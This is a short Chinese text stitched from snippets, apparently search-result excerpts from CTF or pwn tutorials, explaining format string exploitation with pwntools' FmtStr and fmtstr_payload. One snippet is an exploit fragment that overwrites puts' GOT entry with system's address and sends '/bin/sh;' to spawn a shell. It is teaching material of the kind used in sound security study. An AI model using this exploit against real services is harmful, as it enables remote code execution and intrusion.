其中，FmtStr提供了自动化的字符串漏洞利用。? execute_fmt (function)：与漏洞进程进行交互的函数；? offset (int)：你控制的第一个格式化程序的偏移量；? padlen (int)：在paylod之前添加的pad的大小；? numbwritten (int)：已经写入的字节数。fmtstr_payload则用于自动生成格式化字符串payload。? offset (int)...
当然也可以利用封装函数写入一个地址,上面的就写入大数 * pwntools 中的 fmtstr_payload 函数,比较方便获取我们希望得到的结果,有兴趣的可以查看官方文档尝试。比如这里 fmtstr_payload(7, {puts_got:system_addr})的意思就是,我的格式化字符串的偏移是7,我希望在 puts_got 地址处写入 system_addr 地址。默认情况...
#记得算偏移时候断点下在call的时候 payload = fmtstr_payload(7, {puts_got: system_addr}) print(payload) put('/bin/sh;', payload) sh.recvuntil('ftp>') sh.sendline('get') sh.recvuntil('enter the file name you want to get:') ##gdb.attach(sh) sh.sendline('/bin/sh;') ##这里用分...
